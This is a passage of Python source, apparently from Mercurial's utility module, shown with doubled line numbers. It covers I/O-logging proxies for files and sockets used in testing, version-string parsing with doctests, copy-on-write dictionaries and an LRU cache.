535 535 'readable', *args, **kwargs
536 536 )
537 537
538 538 def readline(self, *args, **kwargs):
539 539 return object.__getattribute__(self, '_observedcall')(
540 540 'readline', *args, **kwargs
541 541 )
542 542
543 543 def readlines(self, *args, **kwargs):
544 544 return object.__getattribute__(self, '_observedcall')(
545 545 'readlines', *args, **kwargs
546 546 )
547 547
548 548 def seek(self, *args, **kwargs):
549 549 return object.__getattribute__(self, '_observedcall')(
550 550 'seek', *args, **kwargs
551 551 )
552 552
553 553 def seekable(self, *args, **kwargs):
554 554 return object.__getattribute__(self, '_observedcall')(
555 555 'seekable', *args, **kwargs
556 556 )
557 557
558 558 def tell(self, *args, **kwargs):
559 559 return object.__getattribute__(self, '_observedcall')(
560 560 'tell', *args, **kwargs
561 561 )
562 562
563 563 def truncate(self, *args, **kwargs):
564 564 return object.__getattribute__(self, '_observedcall')(
565 565 'truncate', *args, **kwargs
566 566 )
567 567
568 568 def writable(self, *args, **kwargs):
569 569 return object.__getattribute__(self, '_observedcall')(
570 570 'writable', *args, **kwargs
571 571 )
572 572
573 573 def writelines(self, *args, **kwargs):
574 574 return object.__getattribute__(self, '_observedcall')(
575 575 'writelines', *args, **kwargs
576 576 )
577 577
578 578 def read(self, *args, **kwargs):
579 579 return object.__getattribute__(self, '_observedcall')(
580 580 'read', *args, **kwargs
581 581 )
582 582
583 583 def readall(self, *args, **kwargs):
584 584 return object.__getattribute__(self, '_observedcall')(
585 585 'readall', *args, **kwargs
586 586 )
587 587
588 588 def readinto(self, *args, **kwargs):
589 589 return object.__getattribute__(self, '_observedcall')(
590 590 'readinto', *args, **kwargs
591 591 )
592 592
593 593 def write(self, *args, **kwargs):
594 594 return object.__getattribute__(self, '_observedcall')(
595 595 'write', *args, **kwargs
596 596 )
597 597
598 598 def detach(self, *args, **kwargs):
599 599 return object.__getattribute__(self, '_observedcall')(
600 600 'detach', *args, **kwargs
601 601 )
602 602
603 603 def read1(self, *args, **kwargs):
604 604 return object.__getattribute__(self, '_observedcall')(
605 605 'read1', *args, **kwargs
606 606 )
607 607
608 608
609 609 class observedbufferedinputpipe(bufferedinputpipe):
610 610 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
611 611
612 612 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
613 613 bypass ``fileobjectproxy``. Because of this, we need to make
614 614 ``bufferedinputpipe`` aware of these operations.
615 615
616 616 This variation of ``bufferedinputpipe`` can notify observers about
617 617 ``os.read()`` events. It also re-publishes other events, such as
618 618 ``read()`` and ``readline()``.
619 619 """
620 620
621 621 def _fillbuffer(self):
622 622 res = super(observedbufferedinputpipe, self)._fillbuffer()
623 623
624 624 fn = getattr(self._input._observer, 'osread', None)
625 625 if fn:
626 626 fn(res, _chunksize)
627 627
628 628 return res
629 629
630 630 # We use different observer methods because the operation isn't
631 631 # performed on the actual file object but on us.
632 632 def read(self, size):
633 633 res = super(observedbufferedinputpipe, self).read(size)
634 634
635 635 fn = getattr(self._input._observer, 'bufferedread', None)
636 636 if fn:
637 637 fn(res, size)
638 638
639 639 return res
640 640
641 641 def readline(self, *args, **kwargs):
642 642 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
643 643
644 644 fn = getattr(self._input._observer, 'bufferedreadline', None)
645 645 if fn:
646 646 fn(res)
647 647
648 648 return res
649 649
650 650
651 651 PROXIED_SOCKET_METHODS = {
652 652 'makefile',
653 653 'recv',
654 654 'recvfrom',
655 655 'recvfrom_into',
656 656 'recv_into',
657 657 'send',
658 658 'sendall',
659 659 'sendto',
660 660 'setblocking',
661 661 'settimeout',
662 662 'gettimeout',
663 663 'setsockopt',
664 664 }
665 665
666 666
667 667 class socketproxy(object):
668 668 """A proxy around a socket that tells a watcher when events occur.
669 669
670 670 This is like ``fileobjectproxy`` except for sockets.
671 671
672 672 This type is intended to only be used for testing purposes. Think hard
673 673 before using it in important code.
674 674 """
675 675
676 676 __slots__ = (
677 677 '_orig',
678 678 '_observer',
679 679 )
680 680
681 681 def __init__(self, sock, observer):
682 682 object.__setattr__(self, '_orig', sock)
683 683 object.__setattr__(self, '_observer', observer)
684 684
685 685 def __getattribute__(self, name):
686 686 if name in PROXIED_SOCKET_METHODS:
687 687 return object.__getattribute__(self, name)
688 688
689 689 return getattr(object.__getattribute__(self, '_orig'), name)
690 690
691 691 def __delattr__(self, name):
692 692 return delattr(object.__getattribute__(self, '_orig'), name)
693 693
694 694 def __setattr__(self, name, value):
695 695 return setattr(object.__getattribute__(self, '_orig'), name, value)
696 696
697 697 def __nonzero__(self):
698 698 return bool(object.__getattribute__(self, '_orig'))
699 699
700 700 __bool__ = __nonzero__
701 701
702 702 def _observedcall(self, name, *args, **kwargs):
703 703 # Call the original object.
704 704 orig = object.__getattribute__(self, '_orig')
705 705 res = getattr(orig, name)(*args, **kwargs)
706 706
707 707 # Call a method on the observer of the same name with arguments
708 708 # so it can react, log, etc.
709 709 observer = object.__getattribute__(self, '_observer')
710 710 fn = getattr(observer, name, None)
711 711 if fn:
712 712 fn(res, *args, **kwargs)
713 713
714 714 return res
715 715
716 716 def makefile(self, *args, **kwargs):
717 717 res = object.__getattribute__(self, '_observedcall')(
718 718 'makefile', *args, **kwargs
719 719 )
720 720
721 721 # The file object may be used for I/O. So we turn it into a
722 722 # proxy using our observer.
723 723 observer = object.__getattribute__(self, '_observer')
724 724 return makeloggingfileobject(
725 725 observer.fh,
726 726 res,
727 727 observer.name,
728 728 reads=observer.reads,
729 729 writes=observer.writes,
730 730 logdata=observer.logdata,
731 731 logdataapis=observer.logdataapis,
732 732 )
733 733
734 734 def recv(self, *args, **kwargs):
735 735 return object.__getattribute__(self, '_observedcall')(
736 736 'recv', *args, **kwargs
737 737 )
738 738
739 739 def recvfrom(self, *args, **kwargs):
740 740 return object.__getattribute__(self, '_observedcall')(
741 741 'recvfrom', *args, **kwargs
742 742 )
743 743
744 744 def recvfrom_into(self, *args, **kwargs):
745 745 return object.__getattribute__(self, '_observedcall')(
746 746 'recvfrom_into', *args, **kwargs
747 747 )
748 748
749 749 def recv_into(self, *args, **kwargs):
750 750 return object.__getattribute__(self, '_observedcall')(
751 751 'recv_info', *args, **kwargs
752 752 )
753 753
754 754 def send(self, *args, **kwargs):
755 755 return object.__getattribute__(self, '_observedcall')(
756 756 'send', *args, **kwargs
757 757 )
758 758
759 759 def sendall(self, *args, **kwargs):
760 760 return object.__getattribute__(self, '_observedcall')(
761 761 'sendall', *args, **kwargs
762 762 )
763 763
764 764 def sendto(self, *args, **kwargs):
765 765 return object.__getattribute__(self, '_observedcall')(
766 766 'sendto', *args, **kwargs
767 767 )
768 768
769 769 def setblocking(self, *args, **kwargs):
770 770 return object.__getattribute__(self, '_observedcall')(
771 771 'setblocking', *args, **kwargs
772 772 )
773 773
774 774 def settimeout(self, *args, **kwargs):
775 775 return object.__getattribute__(self, '_observedcall')(
776 776 'settimeout', *args, **kwargs
777 777 )
778 778
779 779 def gettimeout(self, *args, **kwargs):
780 780 return object.__getattribute__(self, '_observedcall')(
781 781 'gettimeout', *args, **kwargs
782 782 )
783 783
784 784 def setsockopt(self, *args, **kwargs):
785 785 return object.__getattribute__(self, '_observedcall')(
786 786 'setsockopt', *args, **kwargs
787 787 )
788 788
789 789
790 790 class baseproxyobserver(object):
791 791 def _writedata(self, data):
792 792 if not self.logdata:
793 793 if self.logdataapis:
794 794 self.fh.write(b'\n')
795 795 self.fh.flush()
796 796 return
797 797
798 798 # Simple case writes all data on a single line.
799 799 if b'\n' not in data:
800 800 if self.logdataapis:
801 801 self.fh.write(b': %s\n' % stringutil.escapestr(data))
802 802 else:
803 803 self.fh.write(
804 804 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
805 805 )
806 806 self.fh.flush()
807 807 return
808 808
809 809 # Data with newlines is written to multiple lines.
810 810 if self.logdataapis:
811 811 self.fh.write(b':\n')
812 812
813 813 lines = data.splitlines(True)
814 814 for line in lines:
815 815 self.fh.write(
816 816 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
817 817 )
818 818 self.fh.flush()
819 819
820 820
821 821 class fileobjectobserver(baseproxyobserver):
822 822 """Logs file object activity."""
823 823
824 824 def __init__(
825 825 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
826 826 ):
827 827 self.fh = fh
828 828 self.name = name
829 829 self.logdata = logdata
830 830 self.logdataapis = logdataapis
831 831 self.reads = reads
832 832 self.writes = writes
833 833
834 834 def read(self, res, size=-1):
835 835 if not self.reads:
836 836 return
837 837 # Python 3 can return None from reads at EOF instead of empty strings.
838 838 if res is None:
839 839 res = b''
840 840
841 841 if size == -1 and res == b'':
842 842 # Suppress pointless read(-1) calls that return
843 843 # nothing. These happen _a lot_ on Python 3, and there
844 844 # doesn't seem to be a better workaround to have matching
845 845 # Python 2 and 3 behavior. :(
846 846 return
847 847
848 848 if self.logdataapis:
849 849 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
850 850
851 851 self._writedata(res)
852 852
853 853 def readline(self, res, limit=-1):
854 854 if not self.reads:
855 855 return
856 856
857 857 if self.logdataapis:
858 858 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
859 859
860 860 self._writedata(res)
861 861
862 862 def readinto(self, res, dest):
863 863 if not self.reads:
864 864 return
865 865
866 866 if self.logdataapis:
867 867 self.fh.write(
868 868 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
869 869 )
870 870
871 871 data = dest[0:res] if res is not None else b''
872 872
873 873 # _writedata() uses "in" operator and is confused by memoryview because
874 874 # characters are ints on Python 3.
875 875 if isinstance(data, memoryview):
876 876 data = data.tobytes()
877 877
878 878 self._writedata(data)
879 879
880 880 def write(self, res, data):
881 881 if not self.writes:
882 882 return
883 883
884 884 # Python 2 returns None from some write() calls. Python 3 (reasonably)
885 885 # returns the integer bytes written.
886 886 if res is None and data:
887 887 res = len(data)
888 888
889 889 if self.logdataapis:
890 890 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
891 891
892 892 self._writedata(data)
893 893
894 894 def flush(self, res):
895 895 if not self.writes:
896 896 return
897 897
898 898 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
899 899
900 900 # For observedbufferedinputpipe.
901 901 def bufferedread(self, res, size):
902 902 if not self.reads:
903 903 return
904 904
905 905 if self.logdataapis:
906 906 self.fh.write(
907 907 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
908 908 )
909 909
910 910 self._writedata(res)
911 911
912 912 def bufferedreadline(self, res):
913 913 if not self.reads:
914 914 return
915 915
916 916 if self.logdataapis:
917 917 self.fh.write(
918 918 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
919 919 )
920 920
921 921 self._writedata(res)
922 922
923 923
924 924 def makeloggingfileobject(
925 925 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
926 926 ):
927 927 """Turn a file object into a logging file object."""
928 928
929 929 observer = fileobjectobserver(
930 930 logh,
931 931 name,
932 932 reads=reads,
933 933 writes=writes,
934 934 logdata=logdata,
935 935 logdataapis=logdataapis,
936 936 )
937 937 return fileobjectproxy(fh, observer)
938 938
939 939
940 940 class socketobserver(baseproxyobserver):
941 941 """Logs socket activity."""
942 942
943 943 def __init__(
944 944 self,
945 945 fh,
946 946 name,
947 947 reads=True,
948 948 writes=True,
949 949 states=True,
950 950 logdata=False,
951 951 logdataapis=True,
952 952 ):
953 953 self.fh = fh
954 954 self.name = name
955 955 self.reads = reads
956 956 self.writes = writes
957 957 self.states = states
958 958 self.logdata = logdata
959 959 self.logdataapis = logdataapis
960 960
961 961 def makefile(self, res, mode=None, bufsize=None):
962 962 if not self.states:
963 963 return
964 964
965 965 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
966 966
967 967 def recv(self, res, size, flags=0):
968 968 if not self.reads:
969 969 return
970 970
971 971 if self.logdataapis:
972 972 self.fh.write(
973 973 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
974 974 )
975 975 self._writedata(res)
976 976
977 977 def recvfrom(self, res, size, flags=0):
978 978 if not self.reads:
979 979 return
980 980
981 981 if self.logdataapis:
982 982 self.fh.write(
983 983 b'%s> recvfrom(%d, %d) -> %d'
984 984 % (self.name, size, flags, len(res[0]))
985 985 )
986 986
987 987 self._writedata(res[0])
988 988
989 989 def recvfrom_into(self, res, buf, size, flags=0):
990 990 if not self.reads:
991 991 return
992 992
993 993 if self.logdataapis:
994 994 self.fh.write(
995 995 b'%s> recvfrom_into(%d, %d) -> %d'
996 996 % (self.name, size, flags, res[0])
997 997 )
998 998
999 999 self._writedata(buf[0 : res[0]])
1000 1000
1001 1001 def recv_into(self, res, buf, size=0, flags=0):
1002 1002 if not self.reads:
1003 1003 return
1004 1004
1005 1005 if self.logdataapis:
1006 1006 self.fh.write(
1007 1007 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1008 1008 )
1009 1009
1010 1010 self._writedata(buf[0:res])
1011 1011
1012 1012 def send(self, res, data, flags=0):
1013 1013 if not self.writes:
1014 1014 return
1015 1015
1016 1016 self.fh.write(
1017 1017 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1018 1018 )
1019 1019 self._writedata(data)
1020 1020
1021 1021 def sendall(self, res, data, flags=0):
1022 1022 if not self.writes:
1023 1023 return
1024 1024
1025 1025 if self.logdataapis:
1026 1026 # Returns None on success. So don't bother reporting return value.
1027 1027 self.fh.write(
1028 1028 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1029 1029 )
1030 1030
1031 1031 self._writedata(data)
1032 1032
1033 1033 def sendto(self, res, data, flagsoraddress, address=None):
1034 1034 if not self.writes:
1035 1035 return
1036 1036
1037 1037 if address:
1038 1038 flags = flagsoraddress
1039 1039 else:
1040 1040 flags = 0
1041 1041
1042 1042 if self.logdataapis:
1043 1043 self.fh.write(
1044 1044 b'%s> sendto(%d, %d, %r) -> %d'
1045 1045 % (self.name, len(data), flags, address, res)
1046 1046 )
1047 1047
1048 1048 self._writedata(data)
1049 1049
1050 1050 def setblocking(self, res, flag):
1051 1051 if not self.states:
1052 1052 return
1053 1053
1054 1054 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1055 1055
1056 1056 def settimeout(self, res, value):
1057 1057 if not self.states:
1058 1058 return
1059 1059
1060 1060 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1061 1061
1062 1062 def gettimeout(self, res):
1063 1063 if not self.states:
1064 1064 return
1065 1065
1066 1066 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1067 1067
1068 1068 def setsockopt(self, res, level, optname, value):
1069 1069 if not self.states:
1070 1070 return
1071 1071
1072 1072 self.fh.write(
1073 1073 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1074 1074 % (self.name, level, optname, value, res)
1075 1075 )
1076 1076
1077 1077
1078 1078 def makeloggingsocket(
1079 1079 logh,
1080 1080 fh,
1081 1081 name,
1082 1082 reads=True,
1083 1083 writes=True,
1084 1084 states=True,
1085 1085 logdata=False,
1086 1086 logdataapis=True,
1087 1087 ):
1088 1088 """Turn a socket into a logging socket."""
1089 1089
1090 1090 observer = socketobserver(
1091 1091 logh,
1092 1092 name,
1093 1093 reads=reads,
1094 1094 writes=writes,
1095 1095 states=states,
1096 1096 logdata=logdata,
1097 1097 logdataapis=logdataapis,
1098 1098 )
1099 1099 return socketproxy(fh, observer)
1100 1100
1101 1101
1102 1102 def version():
1103 1103 """Return version information if available."""
1104 1104 try:
1105 1105 from . import __version__
1106 1106
1107 1107 return __version__.version
1108 1108 except ImportError:
1109 1109 return b'unknown'
1110 1110
1111 1111
1112 1112 def versiontuple(v=None, n=4):
1113 1113 """Parses a Mercurial version string into an N-tuple.
1114 1114
1115 1115 The version string to be parsed is specified with the ``v`` argument.
1116 1116 If it isn't defined, the current Mercurial version string will be parsed.
1117 1117
1118 1118 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1119 1119 returned values:
1120 1120
1121 1121 >>> v = b'3.6.1+190-df9b73d2d444'
1122 1122 >>> versiontuple(v, 2)
1123 1123 (3, 6)
1124 1124 >>> versiontuple(v, 3)
1125 1125 (3, 6, 1)
1126 1126 >>> versiontuple(v, 4)
1127 1127 (3, 6, 1, '190-df9b73d2d444')
1128 1128
1129 1129 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1130 1130 (3, 6, 1, '190-df9b73d2d444+20151118')
1131 1131
1132 1132 >>> v = b'3.6'
1133 1133 >>> versiontuple(v, 2)
1134 1134 (3, 6)
1135 1135 >>> versiontuple(v, 3)
1136 1136 (3, 6, None)
1137 1137 >>> versiontuple(v, 4)
1138 1138 (3, 6, None, None)
1139 1139
1140 1140 >>> v = b'3.9-rc'
1141 1141 >>> versiontuple(v, 2)
1142 1142 (3, 9)
1143 1143 >>> versiontuple(v, 3)
1144 1144 (3, 9, None)
1145 1145 >>> versiontuple(v, 4)
1146 1146 (3, 9, None, 'rc')
1147 1147
1148 1148 >>> v = b'3.9-rc+2-02a8fea4289b'
1149 1149 >>> versiontuple(v, 2)
1150 1150 (3, 9)
1151 1151 >>> versiontuple(v, 3)
1152 1152 (3, 9, None)
1153 1153 >>> versiontuple(v, 4)
1154 1154 (3, 9, None, 'rc+2-02a8fea4289b')
1155 1155
1156 1156 >>> versiontuple(b'4.6rc0')
1157 1157 (4, 6, None, 'rc0')
1158 1158 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1159 1159 (4, 6, None, 'rc0+12-425d55e54f98')
1160 1160 >>> versiontuple(b'.1.2.3')
1161 1161 (None, None, None, '.1.2.3')
1162 1162 >>> versiontuple(b'12.34..5')
1163 1163 (12, 34, None, '..5')
1164 1164 >>> versiontuple(b'1.2.3.4.5.6')
1165 1165 (1, 2, 3, '.4.5.6')
1166 1166 """
1167 1167 if not v:
1168 1168 v = version()
1169 1169 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1170 1170 if not m:
1171 1171 vparts, extra = b'', v
1172 1172 elif m.group(2):
1173 1173 vparts, extra = m.groups()
1174 1174 else:
1175 1175 vparts, extra = m.group(1), None
1176 1176
1177 1177 vints = []
1178 1178 for i in vparts.split(b'.'):
1179 1179 try:
1180 1180 vints.append(int(i))
1181 1181 except ValueError:
1182 1182 break
1183 1183 # (3, 6) -> (3, 6, None)
1184 1184 while len(vints) < 3:
1185 1185 vints.append(None)
1186 1186
1187 1187 if n == 2:
1188 1188 return (vints[0], vints[1])
1189 1189 if n == 3:
1190 1190 return (vints[0], vints[1], vints[2])
1191 1191 if n == 4:
1192 1192 return (vints[0], vints[1], vints[2], extra)
1193 1193
1194 1194
1195 1195 def cachefunc(func):
1196 1196 '''cache the result of function calls'''
1197 1197 # XXX doesn't handle keywords args
1198 1198 if func.__code__.co_argcount == 0:
1199 1199 cache = []
1200 1200
1201 1201 def f():
1202 1202 if len(cache) == 0:
1203 1203 cache.append(func())
1204 1204 return cache[0]
1205 1205
1206 1206 return f
1207 1207 cache = {}
1208 1208 if func.__code__.co_argcount == 1:
1209 1209 # we gain a small amount of time because
1210 1210 # we don't need to pack/unpack the list
1211 1211 def f(arg):
1212 1212 if arg not in cache:
1213 1213 cache[arg] = func(arg)
1214 1214 return cache[arg]
1215 1215
1216 1216 else:
1217 1217
1218 1218 def f(*args):
1219 1219 if args not in cache:
1220 1220 cache[args] = func(*args)
1221 1221 return cache[args]
1222 1222
1223 1223 return f
1224 1224
1225 1225
1226 1226 class cow(object):
1227 1227 """helper class to make copy-on-write easier
1228 1228
1229 1229 Call preparewrite before doing any writes.
1230 1230 """
1231 1231
1232 1232 def preparewrite(self):
1233 1233 """call this before writes, return self or a copied new object"""
1234 1234 if getattr(self, '_copied', 0):
1235 1235 self._copied -= 1
1236 1236 return self.__class__(self)
1237 1237 return self
1238 1238
1239 1239 def copy(self):
1240 1240 """always do a cheap copy"""
1241 1241 self._copied = getattr(self, '_copied', 0) + 1
1242 1242 return self
1243 1243
1244 1244
1245 1245 class sortdict(collections.OrderedDict):
1246 1246 '''a simple sorted dictionary
1247 1247
1248 1248 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1249 1249 >>> d2 = d1.copy()
1250 1250 >>> d2
1251 1251 sortdict([('a', 0), ('b', 1)])
1252 1252 >>> d2.update([(b'a', 2)])
1253 1253 >>> list(d2.keys()) # should still be in last-set order
1254 1254 ['b', 'a']
1255 1255 '''
1256 1256
1257 1257 def __setitem__(self, key, value):
1258 1258 if key in self:
1259 1259 del self[key]
1260 1260 super(sortdict, self).__setitem__(key, value)
1261 1261
1262 1262 if pycompat.ispypy:
1263 1263 # __setitem__() isn't called as of PyPy 5.8.0
1264 1264 def update(self, src):
1265 1265 if isinstance(src, dict):
1266 1266 src = pycompat.iteritems(src)
1267 1267 for k, v in src:
1268 1268 self[k] = v
1269 1269
1270 1270
1271 1271 class cowdict(cow, dict):
1272 1272 """copy-on-write dict
1273 1273
1274 1274 Be sure to call d = d.preparewrite() before writing to d.
1275 1275
1276 1276 >>> a = cowdict()
1277 1277 >>> a is a.preparewrite()
1278 1278 True
1279 1279 >>> b = a.copy()
1280 1280 >>> b is a
1281 1281 True
1282 1282 >>> c = b.copy()
1283 1283 >>> c is a
1284 1284 True
1285 1285 >>> a = a.preparewrite()
1286 1286 >>> b is a
1287 1287 False
1288 1288 >>> a is a.preparewrite()
1289 1289 True
1290 1290 >>> c = c.preparewrite()
1291 1291 >>> b is c
1292 1292 False
1293 1293 >>> b is b.preparewrite()
1294 1294 True
1295 1295 """
1296 1296
1297 1297
1298 1298 class cowsortdict(cow, sortdict):
1299 1299 """copy-on-write sortdict
1300 1300
1301 1301 Be sure to call d = d.preparewrite() before writing to d.
1302 1302 """
1303 1303
1304 1304
1305 1305 class transactional(object): # pytype: disable=ignored-metaclass
1306 1306 """Base class for making a transactional type into a context manager."""
1307 1307
1308 1308 __metaclass__ = abc.ABCMeta
1309 1309
1310 1310 @abc.abstractmethod
1311 1311 def close(self):
1312 1312 """Successfully closes the transaction."""
1313 1313
1314 1314 @abc.abstractmethod
1315 1315 def release(self):
1316 1316 """Marks the end of the transaction.
1317 1317
1318 1318 If the transaction has not been closed, it will be aborted.
1319 1319 """
1320 1320
1321 1321 def __enter__(self):
1322 1322 return self
1323 1323
1324 1324 def __exit__(self, exc_type, exc_val, exc_tb):
1325 1325 try:
1326 1326 if exc_type is None:
1327 1327 self.close()
1328 1328 finally:
1329 1329 self.release()
1330 1330
1331 1331
1332 1332 @contextlib.contextmanager
1333 1333 def acceptintervention(tr=None):
1334 1334 """A context manager that closes the transaction on InterventionRequired
1335 1335
1336 1336 If no transaction was provided, this simply runs the body and returns
1337 1337 """
1338 1338 if not tr:
1339 1339 yield
1340 1340 return
1341 1341 try:
1342 1342 yield
1343 1343 tr.close()
1344 1344 except error.InterventionRequired:
1345 1345 tr.close()
1346 1346 raise
1347 1347 finally:
1348 1348 tr.release()
1349 1349
1350 1350
1351 1351 @contextlib.contextmanager
1352 1352 def nullcontextmanager():
1353 1353 yield
1354 1354
1355 1355
1356 1356 class _lrucachenode(object):
1357 1357 """A node in a doubly linked list.
1358 1358
1359 1359 Holds a reference to nodes on either side as well as a key-value
1360 1360 pair for the dictionary entry.
1361 1361 """
1362 1362
1363 1363 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1364 1364
1365 1365 def __init__(self):
1366 1366 self.next = None
1367 1367 self.prev = None
1368 1368
1369 1369 self.key = _notset
1370 1370 self.value = None
1371 1371 self.cost = 0
1372 1372
1373 1373 def markempty(self):
1374 1374 """Mark the node as emptied."""
1375 1375 self.key = _notset
1376 1376 self.value = None
1377 1377 self.cost = 0
1378 1378
1379 1379
1380 1380 class lrucachedict(object):
1381 1381 """Dict that caches most recent accesses and sets.
1382 1382
1383 1383 The dict consists of an actual backing dict - indexed by original
1384 1384 key - and a doubly linked circular list defining the order of entries in
1385 1385 the cache.
1386 1386
1387 1387 The head node is the newest entry in the cache. If the cache is full,
1388 1388 we recycle head.prev and make it the new head. Cache accesses result in
1389 1389 the node being moved to before the existing head and being marked as the
1390 1390 new head node.
1391 1391
1392 1392 Items in the cache can be inserted with an optional "cost" value. This is
1393 1393 simply an integer that is specified by the caller. The cache can be queried
1394 1394 for the total cost of all items presently in the cache.
1395 1395
1396 1396 The cache can also define a maximum cost. If a cache insertion would
1397 1397 cause the total cost of the cache to go beyond the maximum cost limit,
1398 1398 nodes will be evicted to make room for the new code. This can be used
1399 1399 to e.g. set a max memory limit and associate an estimated bytes size
1400 1400 cost to each item in the cache. By default, no maximum cost is enforced.
1401 1401 """
1402 1402
1403 1403 def __init__(self, max, maxcost=0):
1404 1404 self._cache = {}
1405 1405
1406 1406 self._head = head = _lrucachenode()
1407 1407 head.prev = head
1408 1408 head.next = head
1409 1409 self._size = 1
1410 1410 self.capacity = max
1411 1411 self.totalcost = 0
1412 1412 self.maxcost = maxcost
1413 1413
1414 1414 def __len__(self):
1415 1415 return len(self._cache)
1416 1416
1417 1417 def __contains__(self, k):
1418 1418 return k in self._cache
1419 1419
1420 1420 def __iter__(self):
1421 1421 # We don't have to iterate in cache order, but why not.
1422 1422 n = self._head
1423 1423 for i in range(len(self._cache)):
1424 1424 yield n.key
1425 1425 n = n.next
1426 1426
1427 1427 def __getitem__(self, k):
1428 1428 node = self._cache[k]
1429 1429 self._movetohead(node)
1430 1430 return node.value
1431 1431
1432 1432 def insert(self, k, v, cost=0):
1433 1433 """Insert a new item in the cache with optional cost value."""
1434 1434 node = self._cache.get(k)
1435 1435 # Replace existing value and mark as newest.
1436 1436 if node is not None:
1437 1437 self.totalcost -= node.cost
1438 1438 node.value = v
1439 1439 node.cost = cost
1440 1440 self.totalcost += cost
1441 1441 self._movetohead(node)
1442 1442
1443 1443 if self.maxcost:
1444 1444 self._enforcecostlimit()
1445 1445
1446 1446 return
1447 1447
1448 1448 if self._size < self.capacity:
1449 1449 node = self._addcapacity()
1450 1450 else:
1451 1451 # Grab the last/oldest item.
1452 1452 node = self._head.prev
1453 1453
1454 1454 # At capacity. Kill the old entry.
1455 1455 if node.key is not _notset:
1456 1456 self.totalcost -= node.cost
1457 1457 del self._cache[node.key]
1458 1458
1459 1459 node.key = k
1460 1460 node.value = v
1461 1461 node.cost = cost
1462 1462 self.totalcost += cost
1463 1463 self._cache[k] = node
1464 1464 # And mark it as newest entry. No need to adjust order since it
1465 1465 # is already self._head.prev.
1466 1466 self._head = node
1467 1467
1468 1468 if self.maxcost:
1469 1469 self._enforcecostlimit()
1470 1470
1471 1471 def __setitem__(self, k, v):
1472 1472 self.insert(k, v)
1473 1473
1474 1474 def __delitem__(self, k):
1475 1475 self.pop(k)
1476 1476
1477 1477 def pop(self, k, default=_notset):
1478 1478 try:
1479 1479 node = self._cache.pop(k)
1480 1480 except KeyError:
1481 1481 if default is _notset:
1482 1482 raise
1483 1483 return default
1484 1484 value = node.value
1485 1485 self.totalcost -= node.cost
1486 1486 node.markempty()
1487 1487
1488 1488 # Temporarily mark as newest item before re-adjusting head to make
1489 1489 # this node the oldest item.
1490 1490 self._movetohead(node)
1491 1491 self._head = node.next
1492 1492
1493 1493 return value
1494 1494
1495 1495 # Additional dict methods.
1496 1496
1497 1497 def get(self, k, default=None):
1498 1498 try:
1499 1499 return self.__getitem__(k)
1500 1500 except KeyError:
1501 1501 return default
1502 1502
1503 1503 def peek(self, k, default=_notset):
1504 1504 """Get the specified item without moving it to the head
1505 1505
1506 1506 Unlike get(), this doesn't mutate the internal state. But be aware
1507 1507 that it doesn't mean peek() is thread safe.
1508 1508 """
1509 1509 try:
1510 1510 node = self._cache[k]
1511 1511 return node.value
1512 1512 except KeyError:
1513 1513 if default is _notset:
1514 1514 raise
1515 1515 return default
1516 1516
1517 1517 def clear(self):
1518 1518 n = self._head
1519 1519 while n.key is not _notset:
1520 1520 self.totalcost -= n.cost
1521 1521 n.markempty()
1522 1522 n = n.next
1523 1523
1524 1524 self._cache.clear()
1525 1525
1526 1526 def copy(self, capacity=None, maxcost=0):
1527 1527 """Create a new cache as a copy of the current one.
1528 1528
1529 1529 By default, the new cache has the same capacity as the existing one.
1530 1530 But, the cache capacity can be changed as part of performing the
1531 1531 copy.
1532 1532
1533 1533 Items in the copy have an insertion/access order matching this
1534 1534 instance.
1535 1535 """
1536 1536
1537 1537 capacity = capacity or self.capacity
1538 1538 maxcost = maxcost or self.maxcost
1539 1539 result = lrucachedict(capacity, maxcost=maxcost)
1540 1540
1541 1541 # We copy entries by iterating in oldest-to-newest order so the copy
1542 1542 # has the correct ordering.
1543 1543
1544 1544 # Find the first non-empty entry.
1545 1545 n = self._head.prev
1546 1546 while n.key is _notset and n is not self._head:
1547 1547 n = n.prev
1548 1548
1549 1549 # We could potentially skip the first N items when decreasing capacity.
1550 1550 # But let's keep it simple unless it is a performance problem.
1551 1551 for i in range(len(self._cache)):
1552 1552 result.insert(n.key, n.value, cost=n.cost)
1553 1553 n = n.prev
1554 1554
1555 1555 return result
1556 1556
1557 1557 def popoldest(self):
1558 1558 """Remove the oldest item from the cache.
1559 1559
1560 1560 Returns the (key, value) describing the removed cache entry.
1561 1561 """
1562 1562 if not self._cache:
1563 1563 return
1564 1564
1565 1565 # Walk the linked list backwards starting at tail node until we hit
1566 1566 # a non-empty node.
1567 1567 n = self._head.prev
1568 1568 while n.key is _notset:
1569 1569 n = n.prev
1570 1570
1571 1571 key, value = n.key, n.value
1572 1572
1573 1573 # And remove it from the cache and mark it as empty.
1574 1574 del self._cache[n.key]
1575 1575 self.totalcost -= n.cost
1576 1576 n.markempty()
1577 1577
1578 1578 return key, value
1579 1579
1580 1580 def _movetohead(self, node):
1581 1581 """Mark a node as the newest, making it the new head.
1582 1582
